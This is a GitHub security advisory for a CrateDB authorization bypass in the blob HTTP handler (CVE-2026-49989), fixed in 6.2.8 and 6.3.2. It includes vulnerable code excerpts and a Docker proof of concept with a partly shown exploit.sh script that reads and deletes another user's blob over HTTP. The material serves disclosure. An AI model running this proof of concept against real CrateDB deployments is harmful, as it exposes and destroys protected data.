GitHub Advisoryadvisory · Maven

GHSA-2xv8-gjwh-fv8p CrateDB's Blob HTTP handler bypasses authorization

LOW Published 2026-07-01 Modified 2026-07-01 Official page ↗
Aliases
CVE-2026-49989
Ecosystem
Maven
Packages
io.crate:crate
Severity
Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Weaknesses
CWE-863
Reviewed
2026-07-01

Affected packages

• Maven io.crate:crate: < 6.2.8 → fixed in 6.2.8 • Maven io.crate:crate: >= 6.3.0, < 6.3.2 → fixed in 6.3.2

Description

Component: `io.crate.protocols.http.HttpBlobHandler` Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced) Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of `GRANT`s. --- Summary CrateDB has two ways to access blob storage: SQL (`SELECT ... FROM blob.` and friends) and the blob HTTP API (`GET|PUT|DELETE /_blobs/{table}/{digest}`). The SQL path goes through `AccessControl`, which is what enforces privilege grants; that's why `SELECT digest FROM blob.secret_blobs` fails for a user who has no grants on the table. The HTTP path authenticates the request but never asks `AccessControl` whether the authenticated user is allowed to touch the table. So a user with no grants gets `MissingPrivilegeException` from SQL and `200 OK` plus the blob bytes from `GET /_blobs/secret_blobs/`. Where it lives `server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java`. The dispatcher: ```java // HttpBlobHandler.java:176 private void handleBlobRequest(@Nullable HttpContent content) throws IOException { if (possibleRedirect(index, digest)) { return; } if (method.equals(HttpMethod.GET)) { get(index, digest); reset(); } else if (method.equals(HttpMethod.HEAD)) { head(index, digest); } else if (method.equals(HttpMethod.PUT)) { put(content, index, digest); } else if (method.equals(HttpMethod.DELETE)) { delete(index, digest); } else { simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED); } } ``` No `AccessControl` reference, no privilege check. Each branch goes straight to the relevant blob op (`get`/`head`/`put`/`delete`); for example: ```java // HttpBlobHandler.java:287 private void get(String index, final String digest) throws IOException { if (range != null) { partialContentResponse(index, digest); } else { fullContentResponse(index, digest); } } ``` `grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java` returns nothing. The APIs that should be called here, used by the SQL path before every statement is dispatched: • `server/src/main/java/io/crate/auth/AccessControl.java` (interface, declares `ensureMayExecute(...)` and `ensureMaySee(...)`) • `server/src/main/java/io/crate/auth/AccessControlImpl.java:133` (concrete impl) Threat model Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. `HEAD /_blobs//` is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes. | Capability | Needs digest? | Impact | |---|---|---| | Read or delete a blob | yes | High when digests leak, nil otherwise | | Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest | Digest secrecy is not a documented security boundary. Reproduction End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side. `./run.sh` brings up a CrateDB container with HBA enabled, creates an `admin` (with `ALL PRIVILEGES`) and an `unprivileged` user (with no grants), uploads a blob as admin, then runs six steps: 1. Admin uploads a blob via `PUT /_blobs/...`. Success (201). 2. Admin reads via SQL. Success. 3. Unprivileged user reads via SQL. Denied (correct, this is what we want). 4. Unprivileged user reads via `GET /_blobs/...`. `200 OK` plus the blob payload (the bug). 5. Unprivileged user deletes via `DELETE /_blobs/...`. `204 No Content` (the bug, again). 6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants. Sample output from a real run: ``` === Step 3: Unprivileged user CANNOT read via SQL (expected) === [PASS] Unprivileged user correctly denied SQL access [INFO] Server response: ERROR: Schema 'blob' unknown ... === Step 4: BUG -- Unprivileged user CAN read blob via HTTP === [FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS [INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin === Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE === [FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS ``` PoC files docker-compose.yml ```yaml services: cratedb: image: crate:6.2.7 ports: • "4200:4200" • "5432:5432" command: > crate -Cnetwork.host=0.0.0.0 -Cdiscovery.type=single-node -Cauth.host_based.enabled=true -Cauth.host_based.config.0.user=crate -Cauth.host_based.config.0.method=trust -Cauth.host_based.config.99.method=password -Cblobs.path=/data/blobs environment: • CRATE_HEAP_SIZE=512m healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"] interval: 5s timeout: 5s retries: 12 ``` HBA rule 0 trusts the built-in `crate` superuser so `setup.sql` can bootstrap users; rule 99 forces password auth for everyone else. `network.host=0.0.0.0` overrides the default `_site_` bind, which fails when Docker's interfaces have no site-local address. setup.sql ```sql -- Create the blob table CREATE BLOB TABLE secret_blobs; -- Create admin user with full access CREATE USER admin WITH (password = 'adminpass'); GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin; -- Create unprivileged user with NO access to the blob table CREATE USER unprivileged WITH (password = 'unpriv123'); -- Intentionally no GRANT for unprivileged user ``` exploit.sh ```bash !/usr/bin/env bash set -euo pipefail CRATE_HTTP="http://localhost:4200" BLOB_TABLE="secret_blobs" BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m' header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; } pass() { printf "${GREEN}[PASS]${NC} %s\n" "$1"; } fail() { printf "${RED}[FAIL]${NC} %s\n" "$1"; } info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; } sql_as() { local user="$1" pass="$2" query="$3" PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1 } --------------------------------------------------------------------------- header "Step 1: Upload a blob as admin via HTTP" --------------------------------------------------------------------------- DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}') info "Blob SHA1 digest: $DIGEST" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u admin:adminpass \ -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \ -d "$BLOB_CONTENT") if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)" else fail "Admin blob upload returned HTTP $HTTP_CODE" exit 1 fi --------------------------------------------------------------------------- header "Step 2: Admin CAN read blob metadata via SQL (expected)" --------------------------------------------------------------------------- RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1") if [[ -n "$RESULT" ]]; then pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT" else fail "Admin SQL query returned no results" fi --------------------------------------------------------------------------- header "Step 3: Unprivileged user CANNOT read via SQL (expected)" --------------------------------------------------------------------------- RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true) if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then pass "Un…

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-863 Incorrect Authorization weakness

References